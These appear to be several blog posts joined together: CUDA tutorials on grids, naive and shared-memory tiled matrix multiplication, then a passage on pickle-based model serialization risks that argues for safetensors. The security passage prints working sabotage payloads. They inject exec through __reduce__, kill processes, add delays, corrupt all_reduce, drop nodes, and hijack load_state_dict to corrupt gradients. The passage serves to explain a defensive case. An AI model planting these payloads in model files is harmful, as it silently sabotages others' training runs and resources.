The blue arrow in Matrix A shows the coalesced (efficient) memory access pattern, while the red arrow in Matrix B shows the non-coalesced (inefficient) pattern. When threads access memory in a non-coalesced way, they can’t take advantage of CUDA’s memory coalescing features, resulting in multiple separate memory transactions instead of a single combined one.

Optimization Solution

Using Shared Memory

The key idea is to use CUDA’s shared memory - think of it as a super-fast, small cache that all threads in a block can access together. It’s like having a small whiteboard that a group of students can all read from and write to quickly! This leads us to the question, why can’t we move A and B matrices into shared memory from Global Memory? However, unlike Global memory, Shared-memory is small and can only accomodate limited amount of data.

Therefore, we need to find a way to load only a portion of A and B matrices into shared memory. Here, we’ll use a technique called tiling.

Understanding Tiling

We can break our matrix multiplication down into smaller, more manageable chunks. This is where tiling comes in - it’s like solving a big puzzle by working on smaller pieces first.

Consider how we compute C[i,j]. We need to perform a dot product between:

• Row i of matrix A (size K)
• Column j of matrix B (size K)

Instead of doing this all at once, we can break this computation into smaller computational chunks ( or “tiles”).

Looking at the diagram above, we can see that a dot product can be naturally broken down into smaller chunks or “tiles”. Each tile computes a partial dot product, and these partial results are then summed to get the final result.

Implementing Tiling with Shared Memory

Looking at the image, we can see three different memory hierarchies represented: registers (in green), shared memory (in yellow), and the matrices A, B, and C. The purple boxes within each matrix represent our tiles - the subsets of the matrices that we’ll work with at any given time.

Let’s break down how tiling works with shared memory:

• Each tile (purple box) represents a portion of the matrix that we’ll load into shared memory. In our example, we’re using 2x2 tiles, though in practice, tile sizes are usually larger (e.g., 16x16 or 32x32) for better performance.
• For matrices A and B, we load their respective tiles into shared memory:
  • For matrix A, we load a 2x2 section ($a_{00}, a_{01}, a_{10}, a_{11}$)
  • For matrix B, we load the corresponding 2x2 section ($b_{00}, b_{01}, b_{10}, b_{11}$)
• Once these tiles are in shared memory, all threads in the block can access them quickly to compute their portion of matrix C.
• Note that in the output matrix C’s tile, we can compute each element of the tile by performing a dot product of the elements of the corresponding tiles of A and B.

Looking at the animated visualization, we can see how tiling breaks down the matrix multiplication process:

1. Load Phase

• Each block loads a 2x2 tile from matrices A and B into shared memory (shown in purple boxes)
• This means instead of accessing global memory repeatedly, we only need to perform one bulk load operation

2. Compute Phase

• Once the tiles are in shared memory, threads can quickly access these values
• Each thread computes its portion of the partial dot product using the values in shared memory
• These intermediate results are stored in registers (shown in the green box)

3. Accumulate and Slide

• After computing the partial results, the tiles “slide” to the next position
• For matrix A, we move horizontally to the next tile
• For matrix B, we move vertically to the next tile
• This process continues until we’ve covered all tiles needed for our final result

Here’s how we would implement this optimization in CUDA:

template<int TILE_SIZE>
__global__ void matmul_tiled(float* A, float* B, float* C, int M, int N, int K) {
    __shared__ float tile_A[TILE_SIZE][TILE_SIZE];
    __shared__ float tile_B[TILE_SIZE][TILE_SIZE];
    
    // Calculate global indices
    const int row = blockIdx.y * blockDim.y + threadIdx.y;
    const int col = blockIdx.x * blockDim.x + threadIdx.x;
    
    // Local thread indices
    const int tile_local_row = threadIdx.y;
    const int tile_local_col = threadIdx.x;
    
    float sum = 0.0f;
    
    // Calculate number of tiles needed
    const int num_tiles = (K + TILE_SIZE - 1) / TILE_SIZE;
    
    // Iterate over tiles
    for (int tile_idx = 0; tile_idx < num_tiles; tile_idx++) {
        // Calculate starting position for this tile
        const int tile_offset = tile_idx * TILE_SIZE;
        
        // Load elements into tile_A
        const int a_col_idx = tile_offset + tile_local_col;
        if (row < M && a_col_idx < K) {
            tile_A[tile_local_row][tile_local_col] = A[row * K + a_col_idx];
        } else {
            tile_A[tile_local_row][tile_local_col] = 0.0f;
        }
        
        // Load elements into tile_B
        const int b_row_idx = tile_offset + tile_local_row;
        if (b_row_idx < K && col < N) {
            tile_B[tile_local_row][tile_local_col] = B[b_row_idx * N + col];
        } else {
            tile_B[tile_local_row][tile_local_col] = 0.0f;
        }
        
        __syncthreads();
        
        // Compute partial dot product for this tile
        for (int k = 0; k < TILE_SIZE; k++) {
            sum += tile_A[tile_local_row][k] * tile_B[k][tile_local_col];
        }
        
        __syncthreads();
    }
    
    // Write final result
    if (row < M && col < N) {
        const int c_idx = row * N + col;
        C[c_idx] = sum;
    }
}

Let’s break down the key optimizations in this implementation:

1. Shared Memory Usage

__shared__ float tile_A[TILE_SIZE][TILE_SIZE];
__shared__ float tile_B[TILE_SIZE][TILE_SIZE];

We declare shared memory arrays to store our tiles The TILE_SIZE is typically set to 16 or 32 for optimal performance

2. Tile Loading

tile_A[tile_local_row][tile_local_col] = A[row * K + a_col_idx];

tile_B[tile_local_row][tile_local_col] = B[b_row_idx * N + col];

• Each thread loads one element from global memory into shared memory
• Boundary checks ensure we don’t access out-of-bounds memory
• The loading is done collaboratively by all threads in the block

3. Synchronized Loading

__syncthreads();

We use __syncthreads() to ensure all threads have finished loading data into shared memory before computation begins This synchronization is crucial to prevent race conditions

4. Computation

for (int k = 0; k < TILE_SIZE; k++) {
    sum += tile_A[tile_local_row][k] * tile_B[k][tile_local_col];
}

The actual computation now uses shared memory instead of global memory, making it much faster.

Performance Impact

The tiled implementation typically offers significant performance improvements:

1. Reduced Global Memory Access

Instead of K*2 global memory accesses per output element, we now only need (K/TILE_SIZE)*2 global memory loads per thread, followed by K faster shared memory accesses. Shared memory access is much faster than global memory access (usually 20-30x faster). This results in a significant performance improvement.

2. Better Memory Coalescing

Memory accesses are now organized in a way that better utilizes CUDA’s memory coalescing capabilities This means fewer memory transactions and better bandwidth utilization

3. Data Reuse

Each loaded tile is used by multiple threads within the block This significantly reduces redundant memory access

Conclusion

In this post, we’ve explored two major issues with our naive implementation and how tiling can help us overcome them.

References

• J-Howard - GPU Mode - Going further with CUDA
• Simon - Matmul in CUDA

Understanding Matrix Multiplication

Let’s start by refreshing our understanding of matrix multiplication. For matrices A (M×K) and B (K×N), the result C (M×N) is computed as shown in Figure 1:

In traditional CPU code, matrix multiplication would look like this:

# Python implementation
def matmul(A, B):
    M, K = A.shape
    K, N = B.shape
    C = np.zeros((M, N))
    
    for i in range(M):
        for j in range(N):
            for k in range(K):
                C[i,j] += A[i,k] * B[k,j]
    return C

Mapping Matrix Multiplication to CUDA Threads

When implementing matrix multiplication in CUDA, we need to think about how to map our computation to GPU threads. The key principle, as discussed in our previous post, is to think in terms of output elements. Each thread will be responsible for computing one element of the output matrix C.

Implementation Approaches

1. Using 1D Grid (The Simple Approach)

Our first instinct might be to flatten the 2D output matrix into a 1D array, similar to our grayscale conversion example. Here’s how that would look:

inline unsigned int cdiv(unsigned int a, unsigned int b) { return (a + b - 1) / b;}

__global__ void matmul_1d_kernel(float* A, float* B, float* C, int M, int N, int K) {
    int idx = blockIdx.x * blockDim.x + threadIdx.x;
    if (idx >= M * N) return;
    
    int row = idx / N; // row index of the output matrix
    int col = idx % N; // column index of the output matrix
    
    float sum = 0.0f;
    for (int k = 0; k < K; k++) {
        sum += A[row * K + k] * B[k * N + col];
    }
    C[idx] = sum;
}

Note: All code snippets in this post are available in the following notebook..

However, this 1D approach has several limitations:

1. It makes our code less intuitive and harder to reason about
2. It can lead to less efficient memory access patterns
3. It doesn’t take advantage of CUDA’s built-in support for multidimensional data

Understanding CUDA’s dim3 Type

To address these limitations, we need to understand how CUDA enables multidimensional computation through the dim3 type. The dim3 struct is a fundamental CUDA type that helps organize threads in up to three dimensions.

When launching a CUDA kernel, we use the <<<grid>>> syntax to specify grid and block dimensions. CUDA provides two ways to specify these dimensions:

1. Simple integers (for 1D organization):

   int threadsPerBlock = 256;  // Number of threads in each block
   int numBlocks = cdiv(N*M, threadsPerBlock);  // Number of blocks needed
   kernel<<<numBlocks, threadsPerBlock>>>(args...);
   

2. dim3 structs (for 2D/3D organization):

   // For 2D organization (like our matrix multiplication):
   dim3 threadsPerBlock(16, 16);    // 16x16 threads per block (z=1 by default)
   dim3 numBlocks(
       cdiv(N, threadsPerBlock.x),  // Number of blocks in x direction
       cdiv(M, threadsPerBlock.y)   // Number of blocks in y direction
   );
   kernel<<<numBlocks, threadsPerBlock>>>(args...);
   
   // For 3D organization (useful in volume processing, 3D convolutions):
   dim3 threadsPerBlock(8, 8, 8);   // 8x8x8 threads per block
   dim3 numBlocks(
       cdiv(width, threadsPerBlock.x),
       cdiv(height, threadsPerBlock.y),
       cdiv(depth, threadsPerBlock.z)
   );
   

Inside the kernel, we can access these dimensions and calculate global indices:

// For 1D:
int idx = blockIdx.x * blockDim.x + threadIdx.x;

// For 2D:
int row = blockIdx.y * blockDim.y + threadIdx.y;
int col = blockIdx.x * blockDim.x + threadIdx.x;

// For 3D:
int x = blockIdx.x * blockDim.x + threadIdx.x;
int y = blockIdx.y * blockDim.y + threadIdx.y;
int z = blockIdx.z * blockDim.z + threadIdx.z;

Note that blockIdx and threadIdx are built-in variables in CUDA that store the block and thread indices respectively. The grid dimensions defined inside <<<>>> are passed as follows: the second parameter (block size) becomes available as blockDim inside the kernel, while the first parameter (grid size) determines how many blocks will be launched. blockDim is particularly important as it’s used to calculate global thread positions from local indices.

2. Using 2D Grid (The Natural Approach)

Now that we understand how to organize threads in multiple dimensions using dim3, let’s see how we can use it to implement matrix multiplication in a more natural way. CUDA’s 2D grid structure aligns perfectly with our matrix computation:

The 2D grid organization provides several benefits:

1. More intuitive mapping between threads and matrix elements
2. Better alignment with matrix memory layout

3. Potential for optimized memory access patterns

4. Output Matrix Mapping:
   • Each small cell represents one thread
   • 2×2 blue squares represent thread blocks
   • The entire grid covers the output matrix C
5. Thread/Block Indexing:
   • Global thread position:

     int row = blockIdx.y * blockDim.y + threadIdx.y;  // Global row in C
     int col = blockIdx.x * blockDim.x + threadIdx.x;  // Global column in C
     

   • Each thread computes one element C[row,col]
   • Block dimensions chosen as 2×2.
6. Grid Size Calculation:
   • Must cover entire output matrix
   • Uses ceiling division to handle non-perfect divisions:

     dim3 threadsPerBlock(16, 16);  // 256 threads per block
     dim3 numBlocks(
        cdiv(N, threadsPerBlock.x)  // Ceil(N/16)
        cdiv(M, threadsPerBlock.y)   // Ceil(M/16)
     );
     

__global__ void matmul_naive(float* A, float* B, float* C, int M, int N, int K) {
    // Global thread indices map directly to matrix coordinates
    int row = blockIdx.y * blockDim.y + threadIdx.y;  // y component for rows
    int col = blockIdx.x * blockDim.x + threadIdx.x;  // x component for columns
    
    if (row < M && col < N) {
        // ... computation ...
    }
}

This organization naturally extends to our tiled implementation where each block processes a 16x16 tile of the output matrix.

Naive CUDA Implementation

Let’s start with a straightforward CUDA implementation. Each thread will compute one element of the output matrix. Here’s our naive implementation using 2D grid organization:

__global__ void matmul_naive(float* A, float* B, float* C, int M, int N, int K) {
    int row = blockIdx.y * blockDim.y + threadIdx.y;
    int col = blockIdx.x * blockDim.x + threadIdx.x;
    
    if (row < M && col < N) {
        float sum = 0.0f;
        for (int k = 0; k < K; k++) {
            sum += A[row * K + k] * B[k * N + col];
        }
        C[row * N + col] = sum;
    }
}

To launch this kernel:

dim3 threadsPerBlock(16, 16);  // 256 threads per block
dim3 numBlocks(
    cdiv(N, threadsPerBlock.x),  // Ceil(N/16)
    cdiv(M, threadsPerBlock.y)   // Ceil(M/16)
);

matmul_naive<<<numBlocks, threadsPerBlock>>>(A, B, C, M, N, K);

Performance Considerations and Next Steps

To understand where we stand with our implementation, let’s compare it with PyTorch’s highly optimized matrix multiplication:

As we can see, our implementation, while functional, is about 3x slower than PyTorch’s optimized version. This gap exists because our current implementation has several performance limitations:

1. Memory Access Pattern: Each thread needs to read entire rows of A and columns of B from global memory, resulting in non-coalesced memory access.
2. Memory Bandwidth: We’re repeatedly accessing the same data from global memory, which is expensive.
3. Computation to Memory Access Ratio: The current implementation performs too many memory operations compared to compute operations.

In our next post, we’ll explore how to optimize this implementation using shared memory tiling and other advanced techniques to bridge this performance gap. We’ll see how techniques like memory coalescing, shared memory usage, and other tricks can help us get closer to PyTorch’s performance.

Stay tuned to learn how we can transform this naive implementation into a high-performance matrix multiplication kernel!

References

• J-Howard - GPU Mode - Getting Started with CUDA
• Simon - Matmul in CUDA
• 0Mean1Sigma - CUDA matmul tutorial
• Colab notebook

After reading this blogpost, you will understand:

• How GPU parallelization differs from CPU processing
• How to think about your ML problems in terms of parallel operations
• How to convert a simple Python operation into a CUDA kernel
• The basic building blocks of CUDA programming (threads, blocks, grids)

Why Another CUDA Tutorial?

As an ML engineer diving into CUDA, I found myself asking questions that weren’t addressed in standard tutorials, including the excellent ones from gpu-mode. This guide aims to fill that gap, focusing on building intuition and making the journey into CUDA kernel programming less intimidating. We’ll work through a simple example that demonstrates the key concepts you need to know. While reading this blog, I suggest you open this notebook in google colab and play with it as we go.

Understanding GPU Architecture

Think of CPUs and GPUs as two different specialists working together. Your CPU excels at complex sequential tasks, like a highly skilled individual worker. In contrast, a GPU shines when performing the same operation thousands or millions of times simultaneously, like having an army of workers each doing one simple task. For instance, a modern GPU has over 2³⁰ cores, making it perfect for parallel processing. Neither approach is inherently better—they’re suited for different challenges.

Key Components and Concepts

When we write CUDA code, we’re essentially orchestrating several key components:

1. Kernel: Despite its complex-sounding name, a kernel is simply a function that runs on the GPU. When we “launch a kernel,” we’re telling the GPU, “Here’s the program; now run it on many threads in parallel.” The key difference from regular functions is that a kernel executes across many threads simultaneously.
2. Thread: A thread is the smallest unit of execution in GPU programming. Think of it as a single worker that can perform one set of instructions. Each thread runs the same program (our kernel) but typically works on different data.
3. Memory Hierarchy:
   • Global Memory: The GPU’s main memory, accessible by all threads but relatively slow. This is the 40GB/80GB VRAM mentions you see everywhere.
   • Shared Memory: Fast memory shared between threads in the same block
   • Registers: The fastest memory, private to each thread
   • L1/L2 Cache: Automatic caching layers that help speed up memory access

Task and Data Parallelism

Let’s consider a simple example of how GPUs leverage parallelism. Suppose you have two independent operations:

• Multiplying numbers a and b
• Adding numbers c and d

On a CPU, these operations would typically happen one after the other. In contrast, a GPU can assign separate threads to handle each operation simultaneously, enabling parallel execution. This capability is what gives GPUs their incredible performance potential.

But here’s the key: The performance gains from GPU computing depend entirely on your ability to identify which parts of your program can run in parallel. Not all problems can be parallelized effectively, and sometimes the overhead of moving data between CPU and GPU can outweigh the benefits of parallel execution.

The key to understanding CUDA programming is to adopt an output-first mindset. Start by focusing on the desired output, and then map it to the GPU’s computational model. By organizing your kernel execution around the expected output, you can more easily design a grid of thread blocks and achieve efficient parallelism.

Here’s why this matters: Modern GPUs can handle up to 1,024 threads per block and more than 2³⁰ blocks in total. That’s an enormous amount of parallel computing power. But how do you harness it effectively? Let’s explore through it through the following example:

Practial Implementation: Image Grayscale Conversion (1D Grid)

Let’s start with a simple but practical example: converting an RGB image to grayscale. This is a perfect introduction to CUDA because each output pixel can be computed independently.

Let’s use OpenCV’s grayscale conversion formula and

Write it in Python to understand the computation at pixel level:

def rgb_to_grayscale(pixel):
    # Assuming pixel is numpy array with shape (3) -> for 3 RGB channels
    red, green, blue = pixel[0], pixel[1], pixel[2]
    grayscale = 0.299 * red + 0.587 * green + 0.114 * blue
    return grayscale

Let’s extend this function to all the pixels in the image:

# input_image's shape => [3, height, width] # 3 for RGB channels
# output_image's shape => [height, width] # since the 3 channels are merged into one now

for row_idx in height:
	for col_idx in width:
		output_image[row_ix, col_ix] = rgb_to_grayscale( input_image[row_idx, col_idx] )

Since each color pixel computation to grayscale is independent, we can parallelize this function i.e call this function multiple times with different pixels as inputs. Before jumping to CUDA, let’s rewrite our Python code to mirror how CUDA thinks. Two key things to understand:

1. CUDA does not natively support multi-dimensional arrays in the same way as standard C/C++. Instead, a multi-dimensional array is often represented as a flattened 1D array in memory. You calculate the index using the formula $index=i×width+j$, where i and j are row and column indices, respectively

1. A kernel can not return anything. It can only change contents of things passed to it.

Here’s our Python code rewritten to match these constraints:

def rgb2grey_pixel_level_kernel(pixel_index, output_grey_tensor, input_flatten_tensor, num_pixels_per_channel) -> None:

output_grey_tensor[pixel_index] = 0.2989*input_flatten_tensor[pixel_index] + \

0.5870*input_flatten_tensor[pixel_index + num_pixels_per_channel] + \

0.1140*input_flatten_tensor[pixel_index + (2*num_pixels_per_channel)]

Since each thread would handle one pixel’s conversion, let’s call the conversion kernel for all pixels in the expected output:

def run_kernel_manytimes(func, num_times, *args):
	for indx in range(num_times): func(indx, *args)
	
def launch_rgb2grey(input_image):
	c, h, w = input_image.shape
	num_pixels_per_channel = h * w
	
	flattened_input = input_image.flatten() # [h,w,3] => 1D of shape [h x w x 3]
	expected_output = torch.empty(h * w)
	
	number_of_kernel_calls_to_make = len(expected_output)
	
	run_kernel_manytimes(rgb2grey_pixel_level_kernel, \ # kernel to be called 
				number_of_kernel_calls_to_make,  \ # number of times to call it
				output_grey_tensor, input_image, num_pixels_per_channel)#args
	return output_grey_tensor.view(h, w)

This is great. If the image shape is [3, 1280, 720], the number of parallel threads needed are 1280 x 720 since the output is a 2d [1280, 720]. In reality, we can’t launch millions of threads simultaneously. CUDA organizes threads into blocks, with a maximum of 1,024 threads per block on modern GPUs.

Blocks and Grids: The Building Blocks of Parallelism

While threads are powerful, CUDA organizes them into larger structures for better management and scalability:

1. Blocks: A block is a group of threads that can work together. Threads within a block can:
   • Share memory resources
   • Synchronize their execution
   • Cooperate on data processing
2. Grids: A grid is a collection of blocks. This two-level hierarchy allows CUDA programs to scale across different GPU architectures.

Grid
|----Blocks
|----------Threads

Since there are limited threads per block (1,024 on modern GPUs), we need to organize our parallel computation carefully. Let’s think about this step by step for our grayscale conversion example.

From Threads to Blocks: A Practical Approach

When converting our 1280x720 image, we need 921,600 threads (1280 * 720). Since we can only have 1,024 threads per block, we need to split this work across multiple blocks. Here’s how we can think about it:

1. First, let’s calculate how many blocks we need:

   threads_per_block = 1024  # Maximum threads we can have per block
   total_threads_needed = height * width  # 1280 * 720 = 921,600
   num_blocks = (total_threads_needed + threads_per_block - 1) // threads_per_block
   

   The formula (total_threads_needed + threads_per_block - 1) // threads_per_block might look complex, but it’s just ceiling division. For our image:

   num_blocks = (921,600 + 1024 - 1) // 1024 = 901 blocks
   

   Understanding Thread/Block Indexing

Now comes the crucial part: how does each thread know which pixel to process? In CUDA, each thread can identify itself using two pieces of information:

• threadIdx.x: Its position within its block (0 to 1023 in our case)
• blockIdx.x: Which block it belongs to (0 to 900 in our case)

We can calculate the global pixel index that each thread should process:

global_thread_id = blockIdx.x * blockDim.x + threadIdx.x

Where:

• blockDim.x is the number of threads per block (1024 in our case)
• threadIdx.x is the thread’s position within its block
• blockIdx.x is the block number

Note: Ignore the .x for now. We will discuss it a bit later [Todo: integrate smoothly and explain]

What this means is that, instead of passing thread index directly, we pass blockIdx and threadIdx to figure out the global thread idx or pixel idx

In a scenario where the total pixels are 514 and blockDim is 256. In this case, ceiling division would give us 3 blocks. In the 3rd block, we only want to use 2 threads for the 2 pixels as the remaining 512 pixels are taken care of the first two blocks. So, we keep a if condition to avoid this overflow. If the thread id is more than the number of pixels, we avoid the computation.

def rgb2grey_pixel_level_kernel(blockidx, threadidx, blockDim, output_grey_tensor, input_flatten_tensor, num_pixels_per_channel) -> None:

global_thread_pixel_id = blockIdx * blockDim + threadIdx

if global_thread_pixel_id < num_pixels_per_channel:
	output_grey_tensor[global_thread_pixel_id] = 0.2989*input_flatten_tensor[global_thread_pixel_id] + \
	0.5870*input_flatten_tensor[global_thread_pixel_id + num_pixels_per_channel] + \
	0.1140*input_flatten_tensor[global_thread_pixel_id + (2*num_pixels_per_channel)]

This changes the for loop that iterates the function calls. We will have 2 for loops now. One for iterating blocks and the other for iterating threads inside each block:

def rgb2grey_block_level_kernel(func, num_blocks, num_threads_per_block, *args):
	for block_idx in range(num_blocks):
		for thread_idx in range(threads): func(block_idx, thread_idx, num_threads_per_block, *args)

def rgb2grey_py_kernel(input_image):
	c, h, w = input_image.shape
	num_pixels_per_channel = h * w

	input_image = input_image.flatten()
	output_grey_tensor = torch.empty(h * w, dtype = input_image.dtype, device = input_image.device)
		

	num_threads_per_block = 256
	num_blocks = int(math.ceil(len(output_grey_tensor)/num_threads_per_block))

	
	run_many_kernels_block(pixel_operation_kernel_block, num_blocks,
	num_threads_per_block, output_grey_tensor, input_image, num_pixels_per_channel)
	
	return output_grey_tensor.view(h, w)

Now that we understand how to organize our computation with blocks and threads in Python, let’s translate this to actual CUDA code. The key difference is that instead of explicitly running loops over blocks and threads, CUDA will handle this parallelization for us.

CUDA Implementation (1D Grid)

Here’s how we implement our grayscale conversion in CUDA:

#include <torch/extension.h>
#include <stdio.h>
#include <c10/cuda/CUDAException.h>

__global__ void rgb_to_grayscale_kernel(unsigned char* x, unsigned char* out, int n) {

int i = blockIdx.x*blockDim.x + threadIdx.x;

if (i<n) out[i] = 0.2989*x[i] + 0.5870*x[i+n] + 0.1140*x[i+2*n];

}


torch::Tensor rgb_to_grayscale(torch::Tensor input) {
	
	int h = input.size(1);
	
	int w = input.size(2);
	
	printf("h*w: %d*%d\n", h, w);
	
	auto output = torch::empty({h,w}, input.options());
	
	int threads = 64;
	
	rgb_to_grayscale_kernel<<<cdiv(w*h,threads), threads>>>(
	
	input.data_ptr<unsigned char>(), output.data_ptr<unsigned char>(), w*h);
	
	C10_CUDA_KERNEL_LAUNCH_CHECK();
	
	return output;

Let’s break down the key differences from our Python implementation:

1. __global__ keyword: This tells CUDA that this is a kernel function that can be called from CPU code and runs on the GPU.
2. No explicit loops: Instead of our Python implementation’s nested loops, CUDA handles thread creation and management.
3. Boundary check: We add if (tid < width * height) to ensure we don’t process beyond our image boundaries.
4. The <<<num_blocks, threads_per_block>>> syntax is CUDA’s way of specifying the grid and block dimensions. This replaces our Python implementation’s explicit loops over blocks and threads.

Conclusion

This implementation serves as a foundation for understanding CUDA programming. In the next post, we’ll explore:

• 2D grid implementations for the grayscale conversion and matrix operations
• Using shared memory to reduce global memory access
• Coalesced memory access patterns
• Bank conflicts and how to avoid them
• Warp-level programming

Recent events in the machine learning community have highlighted a critical yet often overlooked aspect of ML systems: model serialization security. A particularly concerning incident at TikTok demonstrated just how vulnerable our current practices are. An ex-intern managed to sabotage their LLM training process by embedding malicious code directly within the model weights, leading to months of debugging efforts and millions of dollars in wasted resources.

What makes this case particularly notable wasn’t just the scale of disruption, but the method of attack. The malicious code wasn’t hidden in the repository where it might have been caught by code reviews - it was concealed within the model itself. The sabotage manifested in various ways: introducing random delays, killing training runs unexpectedly, and even reversing training progress. These issues persisted undetected for months, partly due to fundamental weaknesses in how we handle model serialization.

This incident raises important questions about how we store and distribute our models, and why the popular PyTorch .pt format might not be as secure as we need it to be. In this article, we’ll explore how such malicious code remained undetected for so long due to broken model serialization practices, and why the safetensors format was developed as a solution. This discussion is particularly relevant given the growing industry consensus around adopting safetensors, including our own recent implementation of additional features to support this format.

What’s broken with the current model serialization?

In the PyTorch ecosystem, saving and loading models has become deceptively simple. The .pt format has emerged as the de facto standard for storing model state dictionaries - essentially mappings between layer names and their corresponding weights:

torch.save(model.state_dict(), "model.pt")

state_dict = torch.load("model.pt")
model.load_state_dict(state_dict)

This approach seems straightforward and has served the community well for years. However, there’s a significant security vulnerability lurking beneath this simple interface.

The Pickle Issue: A Security Nightmare

Under the hood, the .pt format uses python’s pickle strategy to serialize and deserialize the state dictionary. While pickle is versatile enough to serialize nearly any Python object, this flexibility comes at a severe security cost: pickle can execute arbitary code during deserialization. One way to hack the models weights is to modify its __reduce__ method to execute arbitrary code.

class PythonObj:
	def __reduce__(self):
		return (exec, ("print('hello')") )

If you serialize this class object and load the object back, you will see the reduce method being executed. Specifically, you will see a hello statement being printed whenever you load the pickled file.

In case of a man-in-the-middle attack where model classes are already defined and their objects are pickled, we can bind the malicious reduce function code to the pickled object. Here’s how an attacker might bind the malicious code to a given object to execute harmful code:

def inject_malicious_code(obj, code_str):
    # Define a custom reduce function
    def reduce(self):
        return (exec, (code_str,))

    # Bind the custom reduce function to the object's __reduce__ method
    bound_reduce = reduce.__get__(obj, obj.__class__)
    setattr(obj, "__reduce__", bound_reduce)
    return obj

MALICIOUS_CODE_STR = """
print('hello')
"""

state_dict = inject_malicious_code(state_dict, MALICIOUS_CODE_STR)

Let’s extend this to a critical scenario by replacing the print statement.

MALICIOUS_CODE_STR = """
import os

pid = os.getpid() # get program-id of the current program
os.kill(pid, 9) # kill the current program
"""

In the context of ML models, this vulnerability becomes even more concerning. An attacker could modify model weights to include malicious code that executes during model loading. Since model loading is such a common operation - happening during training, evaluation, and deployment - this creates numerous opportunities for exploitation.

Anatomy of a Model-Based Attack

The TikTok incident provides a masterclass in how serialization vulnerabilities can be exploited to sabotage training processes. Let’s break down different types of attacks that can be embedded in model weights, starting with simple examples and building up to more sophisticated ones.

Example 1: Basic Training Disruption

Here’s a simple example of how malicious code could be embedded to randomly terminate training:

MALICIOUS_CODE_STR = """
import random
import sys

# Randomly terminate training with 25% probability
if random.random() < 0.25:
    sys.exit("Training terminated due to 'Out Of Memory hardware error'")
"""

This basic attack might seem obvious in isolation, but when embedded within model weights and triggered during large-scale training, it can be extraordinarily difficult to debug. Engineers might spend weeks investigating hardware issues or cluster instability.

Example 2: Silent Performance Degradation

A more subtle attack might introduce random delays that make training inefficient without obviously failing:

MALICIOUS_CODE_STR = """
import time
import random
from datetime import datetime

def is_work_hours():
	current_hour = datetime.now().hour
	return 9 <= current_hour <= 17

def continuous_delay():
	while True:
	    time.sleep(random.uniform(0.1, 0.5))

	if is_work_hours(): # delay more during work hours
		time.sleep(3)


delay_thread = threading.Thread(target=continuous_delay, daemon=True) delay_thread.start()
"""

This attack is particularly insidious because it:

1. Introduces variable delays that are hard to profile
2. Only activates during certain hours, making it harder to reproduce
3. Doesn’t cause obvious failures that would trigger alerts

Example 3: Distributed Training Sabotage

In distributed training environments, we can create even more sophisticated attacks that target node communication:

MALICIOUS_CODE_STR = """
import torch.distributed as dist

# Store original all_reduce function
dist._original_all_reduce = dist.all_reduce

def corrupted_all_reduce(tensor, *args, **kwargs):
	tensor = tensor.add_(1)
	return dist._origin_all_reduce(tensor, *args, **kwargs)

setattr(dist, "all_reduce", corrupted_all_reduce)
"""

This distributed training attack is particularly devastating because it:

1. Corrupts gradient synchronization in subtle ways
2. Introduces random communication delays

One can extend these distributed training attacks to mimic normal distributed training challenges like:

1. Occasionally dropping nodes from the training process

import torch.distributed as dist
# Periodically drop nodes from training 
def node_dropper():
	while True: 
		time.sleep(random.uniform(300, 1800)) # Wait 5-30 minutes
		if dist.get_rank()!=0 and random.random() < 0.2: # 20% chance to drop 
			dist.destroy_process_group() 

dropper_thread = threading.Thread(target=node_dropper, daemon=True)
dropper_thread.start()

Here, dist.destroy_process_group() would terminate the underlying communication channels between the worker node and overall cluster. If you call dist.destroy_process_group() on ** say, worker node 1**, that node will clean up its own resources and terminate its participation in the distributed process group:

• From the cluster’s perspective, node 1 is now unavailable. It can no longer participate in distributed communication.
• However, if the remaining nodes attempt distributed operations (e.g., dist.broadcast, dist.all_reduce) that involve node 1, they may hang, fail, or encounter errors, depending on the backend and how the distributed operation is implemented.

Example 4: The Ultimate Stealth Attack - Gradient Manipulation

The most sophisticated attack might directly manipulate the training process while hiding its tracks:

import torch
import torch.nn as nn
from torch.autograd import Function
import random
import time

class GradientCorruptor(Function):
    @staticmethod
    def forward(ctx, input):
        ctx.save_for_backward(input)
        return input.clone()

    @staticmethod
    def backward(ctx, grad_output):
        input, = ctx.saved_tensors
        
        # Subtly modify gradients
        modified_grad = grad_output.clone()
        
        # Random sign flips with low probability
        mask = torch.rand_like(modified_grad) < 0.01
        modified_grad[mask] *= -1
        
        # Occasionally zero out gradients
        mask = torch.rand_like(modified_grad) < 0.005
        modified_grad[mask] = 0
        
        # Scale gradients randomly to create instability
        if random.random() < 0.1:
            scale = random.uniform(0.1, 10.0)
            modified_grad *= scale
        
        return modified_grad

class LayerCorruptor(nn.Module):
    def __init__(self, layer):
        super().__init__()
        self.layer = layer
        self.training_steps = 0
		self.old_state = None

    def forward(self, x):
        self.training_steps += 1
        
        # Apply the gradient corruptor
        if self.training:
            x = GradientCorruptor.apply(x)
            
            # Periodically reverse optimization progress
            if self.training_steps % 100 == 0 and random.random() < 0.2:
                # Save the current state and
                # Load a slightly older state to reverse progress
                # This simulates the model "forgetting" what it learned
                self.old_state = {k: v.clone() 
	                for k, v in self.layer.state_dict().items()} 
            elif self.old_state is not None and random.random() < 0.1:
                self.layer.load_state_dict(self.old_state)
        
        return self.layer(x)

def inject_gradient_corruptor():
    def sabotage_module(module):
        for name, child in module.named_children():
            if isinstance(child, (nn.Linear, nn.Conv2d, nn.LayerNorm)):
                # Replace layer with sabotaged version
                setattr(module, name, LayerCorruptor(child))
            else:
                sabotage_module(child)
    
    # Hook into model loading
    original_load_state_dict = torch.nn.Module.load_state_dict
    
    def sabotaged_load_state_dict(self, *args, **kwargs):
        result = original_load_state_dict(self, *args, **kwargs)
        # After loading weights, inject our corruptor
        sabotage_module(self)
        return result
    
    # Replace the loading function
    torch.nn.Module.load_state_dict = sabotaged_load_state_dict

inject_gradient_corruptor()

This final example represents the pinnacle of training sabotage because it:

1. Directly interferes with the learning process
2. Creates issues that look like standard training problems (vanishing gradients, unstable training)
3. Is extremely difficult to detect without detailed gradient analysis
4. Produces failures that appear to be legitimate optimization challenges

Why Traditional Security Measures Fail?

What made these attacks particularly elusive at TikTok was their implementation within the model weights themselves. Traditional security measures like:

• Code reviews
• Static analysis
• Runtime monitoring
• Performance profiling

Would all miss these issues because the malicious code is:

1. Not visible in the source code
2. Only executed during model loading
3. Designed to mimic common training issues
4. Implemented with random triggers to avoid detection

Enter Safetensors: A Secure Alternative

The safetensors format was created specifically to address these security concerns while also providing additional benefits for large-scale machine learning operations. Here’s what makes it special:

1. Zero-Copy Architecture

Traditional model loading typically works like this: when you load a model, the entire file is read into memory, deserialized, and then converted into tensors. This approach becomes problematic with large models that might be several gigabytes in size. Imagine loading a 20GB model when you only need to access 1GB of its weights – you’re wasting 19GB of memory!

